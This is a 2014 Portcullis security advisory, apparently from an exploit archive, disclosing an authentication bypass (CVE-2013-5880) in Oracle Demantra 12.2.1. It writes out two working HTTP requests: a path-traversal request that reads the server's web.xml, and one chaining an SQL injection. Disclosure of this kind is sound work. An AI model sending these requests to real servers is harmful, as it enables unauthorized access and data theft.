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Oracle Demantra 12.2.1 Authentication Bypass

Oracle Demantra 12.2.1 Authentication Bypass
Posted Mar 2, 2014
Authored by Oliver Gruskovnjak | Site portcullis-security.com

Oracle Demantra version 12.2.1 suffers from an authentication bypass vulnerability.

tags | exploit, bypass
advisories | CVE-2013-5880
SHA-256 | 5d25d830d7b645fdd2a97ca4d9b22da401329b136dbcad127f05ff38630c4e51

Oracle Demantra 12.2.1 Authentication Bypass

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Vulnerability title: Authentication Bypass in Oracle Demantra
CVE: CVE-2013-5880
Vendor: Oracle
Product: Demantra
Affected version: 12.2.1
Fixed version: 12.2.3
Reported by: Oliver Gruskovnjak

Details:

The authentication filter in Oracle Demantra is broken by design.

For example the page:

/demantra/common/loginCheck.jsp

Is accessible by an unauthenticated user and is therefore listed in the
whitelisted URLs list. It is now possible to use this whitelisted URL to
access restricted URLs.

Exploit:

Sample Request:

POST /demantra/common/loginCheck.jsp/../../GraphServlet HTTP/1.1
Host: target.com:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:22.0) Gecko/20100101 Firefox/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 46

filename=C:/Program Files (x86)/Oracle Demantra Spectrum/Collaborator/demantra/WEB-INF/web.xml

This attack works with other vulnerabilities reported like the SQL injection for example by using the following request:

POST /demantra/common/loginCheck.jsp/../../portal/editExecDefinition.jsp HTTP/1.1
Host: target.com:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:22.0) Gecko/20100101 Firefox/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.14.171:8080/demantra/portal/editExecDefinition.jsp?menuBarId=2&menuGroupId=4&menuItemId=10&tkn=919872817530076
Cookie: ORA_EBS_DEMANTRA_LOGIN_LANGUAGE=US; JSESSIONID=6741133838FDEC5D65258F72A4E4EB87
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 388

done=done&menuBarId=2&menuGroupId=4&tkn=919872817530076&menuItemId=10&menuAction=edit&order=0&command=http%3A%2F%2Fwww.oracle.com%2Fdemantra%2Findex.htm'&title=Demantra+Web+Site&description=Demantra+Web+Site&type=3&fileInput=&linkInput=http%3A%2F%2Fwww.oracle.com%2Fdemantra%2Findex.htm%27&desktopCommand=%23DEMANTRA.MODELER%23&param=



Further details at:
https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2013-5880/


Copyright:
Copyright (c) Portcullis Computer Security Limited 2014, All rights
reserved worldwide. Permission is hereby granted for the electronic
redistribution of this information. It is not to be edited or altered in
any way without the express written consent of Portcullis Computer
Security Limited.

Disclaimer:
The information herein contained may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There
are NO warranties, implied or otherwise, with regard to this information
or its use. Any use of this information is at the user's risk. In no
event shall the author/distributor (Portcullis Computer Security
Limited) be held liable for any damages whatsoever arising out of or in
connection with the use or spread of this information.


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